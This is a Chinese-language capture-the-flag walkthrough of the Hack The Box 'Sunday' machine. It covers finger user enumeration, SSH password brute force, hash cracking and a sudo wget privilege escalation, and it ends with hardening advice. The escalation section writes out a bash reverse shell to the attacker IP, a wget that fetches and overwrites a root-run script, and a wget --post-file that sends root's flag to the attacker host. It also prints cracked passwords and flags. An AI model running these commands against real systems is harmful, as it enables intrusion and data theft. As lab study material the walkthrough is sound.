I just pwned Sunday on Hack The Box! Owned Sunday from Hack The Box! #HackTheBox #htb #CyberSecurity #EthicalHacking #InfoSec #PenTesting
Owned Sunday from Hack The Box!
以下是wp
Sunday HTB靶机渗透测试详细记录
初始侦察阶段
在渗透测试的第一步,我们需要对目标主机进行全面的端口扫描,识别所有可能的服务入口点。使用Nmap进行高速全端口扫描:
nmap -sT -min-rate 10000 -p- 10.10.10.76
扫描结果显示目标主机开放了多个端口:
PORT STATE SERVICE
53/tcp open domain
79/tcp open finger
111/tcp open rpcbind
515/tcp open printer
6787/tcp open smc-admin
22022/tcp open unknown
为了获取更详细的服务信息,我们对这些开放端口进行进一步探测:
nmap -sT -sC -sV -O -p79,111,515,6787,22022 10.10.10.76
详细扫描结果如下:
PORT STATE SERVICE VERSION
79/tcp open finger?
111/tcp open rpcbind 2-4 (RPC #100000)
515/tcp open printer
6787/tcp open http Apache httpd
|_http-title: 400 Bad Request
|_http-server-header: Apache
22022/tcp open ssh OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)
|_ 256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)
漏洞识别与利用
Finger服务枚举
从扫描结果中,我注意到目标主机运行着Finger服务(79端口)。通过Google搜索"finger服务",我了解到Finger是一个古老的UNIX用户信息查询协议,常常存在用户枚举漏洞。
参考资料:Finger - Port 79 | VeryLazyTech
为了利用这个服务枚举目标系统上的用户,我决定使用finger-user-enum.pl
工具:
git clone https://github.com/pentestmonkey/finger-user-enum.git
使用该工具对目标系统进行用户名爆破:
./finger-user-enum.pl -m 100 -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
技术说明:这里我使用了
-m 100
参数增加并发连接数,显著提高了枚举速度。通常在渗透测试中,权衡速度和目标系统稳定性是非常重要的。
爆破结果发现了16个有效结果:
16 results.
10177 queries in 120 seconds (84.8 queries / sec)
经过分析,确定了三个可能通过SSH连接的有效账户:
root
(系统超级管理员)sammy
(普通用户)sunny
(普通用户)
SSH密码爆破
既然已经获取了可能的用户名,接下来我尝试使用Hydra对SSH服务进行密码爆破:
hydra -t 64 -v -l sunny -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.76:22022
安全提示:这里使用的
-t 64
参数设置了较高的并发线程数,在实际环境中应当谨慎使用,以避免触发防护机制或导致服务拒绝访问。
爆破成功,获得了用户sunny的凭据:
[22022][ssh] host: 10.10.10.76 login: sunny password: sunday
初始访问与横向移动
登录Sunny用户
使用刚刚获取的凭据通过SSH登录系统:
ssh [email protected] -p 22022
登录成功后,我开始在系统中寻找有价值的信息。首先查看根目录下的local.cshrc
文件:
cat local.cshrc
文件内容如下:
#
# Copyright (c) 1991, 2018, Oracle and/or its affiliates. All rights reserved.
#
set path=(/usr/bin /usr/sbin)
if ( $?prompt ) then
set history=32
endif
这表明系统保存了命令历史记录,这是一个潜在的信息收集点。
历史命令分析
查看bash历史命令记录:
cat .bash_history
在历史命令中发现了一个有趣的线索 - 曾经查看过备份的shadow文件:
cat /backup/shadow.backup
跟进这个线索,我发现了用户sammy的密码哈希:
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
安全警示:这是一个严重的安全问题 - 重要的凭据信息被保存在可访问的备份文件中。在实际环境中,敏感的备份文件应当加密存储并严格限制访问权限。
哈希破解
将获取到的哈希值保存到本地文件:
echo '$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB' > hashcat_hash.txt
使用Hashcat工具进行哈希破解:
hashcat -m 7400 -a 0 hashcat_hash.txt /usr/share/wordlists/rockyou.txt
技术说明:参数
-m 7400
指定了哈希类型为SHA-256 Crypt,这是基于分析哈希格式得出的结论。在哈希破解中,正确识别哈希类型是成功的关键。
破解成功,获得了用户sammy的密码:
$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!
登录Sammy用户
使用破解出的密码登录sammy用户:
ssh [email protected] -p 22022
登录成功后,找到并获取用户标志:
cat user.txt
ec0358b9bf1c4d5cd5d45ba78109cd5d
权限提升
权限分析
为了寻找提权可能性,我检查了两个用户的sudo权限:
sudo -l
发现了以下权限配置:
-
用户sunny可以以root身份运行:
(root) NOPASSWD: /root/troll
-
用户sammy拥有更广泛的权限:
(ALL) ALL (root) NOPASSWD: /usr/bin/wget
权限分析:这里存在明显的安全配置问题:
- sunny用户可以无需密码执行特定的root文件
- sammy用户可以无需密码以root身份运行wget命令,这可能被用于文件操作
权限提升策略
分析后,我设计了一个结合两个用户权限的提权策略:通过sammy用户使用wget命令替换/root/troll文件为自定义的反弹shell脚本,然后利用sunny用户的权限执行该文件,从而获取root权限。
实施步骤如下:
1. 在攻击机上创建反弹shell脚本
echo '#!/bin/bash' > root.sh
echo 'bash -i >& /dev/tcp/10.10.16.16/4444 0>&1' >> root.sh
chmod +x root.sh
2. 启动HTTP服务托管脚本
python -m http.server 8000
3. 设置监听以接收反弹shell
nc -lvnp 4444
4. 在目标机上执行提权操作
使用sammy用户替换troll文件:
sudo wget http://10.10.16.16:8000/root.sh -O /root/troll
关键提示:这一步需要快速操作,因为根据观察,troll文件会被系统监控并定期还原。这是一种典型的计时攻击(Race Condition)情景。
然后迅速切换到sunny用户执行troll文件(这里可以开两个终端同时操作,不用切换用户):
sudo /root/troll
成功获取root shell后,读取key2:
cat /root/root.txt
9ebd29077c953deafc0aca147989f7d9
取巧方案:使用wget读取key
除了上述方法,还有一种更简单的方式利用wget的--post-file
选项直接获取root.txt。
–post-file参数说明: --post-file
是wget的一个参数,允许用户指定一个本地文件,然后将该文件的内容作为HTTP POST请求的主体发送到目标服务器。这个功能在与sudo权限结合使用时,可以被用来读取系统上任何具有访问权限的文件,并将其内容发送到外部服务器。
利用步骤:
-
在攻击机上开启网络监听:
nc -lvnp 8001
-
在目标机器上,通过sammy用户使用wget读取root.txt并发送到攻击机:
Copy sudo wget --post-file=/root/root.txt http://10.10.16.16:8001
攻击机上直接接收到root标志:
Copylistening on [any] 8001 ...
connect to [10.10.16.16] from (UNKNOWN) [10.10.10.76] 43109
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (solaris2.11)
Accept: */*
Accept-Encoding: identity
Host: 10.10.16.16:8001
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
9ebd29077c953deafc0aca147989f7d9
总结与安全建议
本次渗透测试成功利用了以下几个安全漏洞:
- Finger服务用户枚举:古老的Finger服务允许远程用户枚举,应当禁用或限制此服务
- 弱密码使用:用户sunny使用了简单密码,容易被字典攻击破解
- 敏感备份文件暴露:系统中存在明文保存的密码哈希备份,未加密且权限控制不当
- 不当的sudo权限配置:
- sunny用户能执行root所有者的特定文件
- sammy用户能无密码执行wget命令,可被利用修改系统文件
- 定时任务安全配置不当:虽然系统有还原机制,但执行间隔存在可被利用的窗口期
安全加固建议
- 禁用或限制不必要服务:关闭或限制Finger等古老且不安全的服务
- 实施强密码策略:要求所有用户使用复杂密码,并定期更改
- 敏感备份文件保护:加密保存所有包含敏感信息的备份文件,并严格限制访问权限
- sudo权限最小化:
- 重新评估并限制sudo权限,遵循最小权限原则
- 对文件替换类命令(如wget)特别注意其权限控制
- 文件完整性监控:对关键系统文件实施实时完整性监控,而非简单的定时恢复
- 实施入侵检测系统:部署IDS/IPS系统,及时发现和阻止异常行为
- 加强SSH安全配置:
- 禁用密码认证,改用密钥认证
- 限制可登录用户
- 实施登录失败次数限制和IP封禁机制
漏洞利用路径总结
初始侦察 → 用户枚举 → 密码爆破 → 哈希获取 → 哈希破解 → 权限提升
Finger服务枚举用户 → 爆破sunny密码 → 获取sammy密码哈希 → 破解sammy密码 → 利用组合sudo权限获取root
本次渗透测试展示了如何通过结合多个低危漏洞,最终构成高危利用链的过程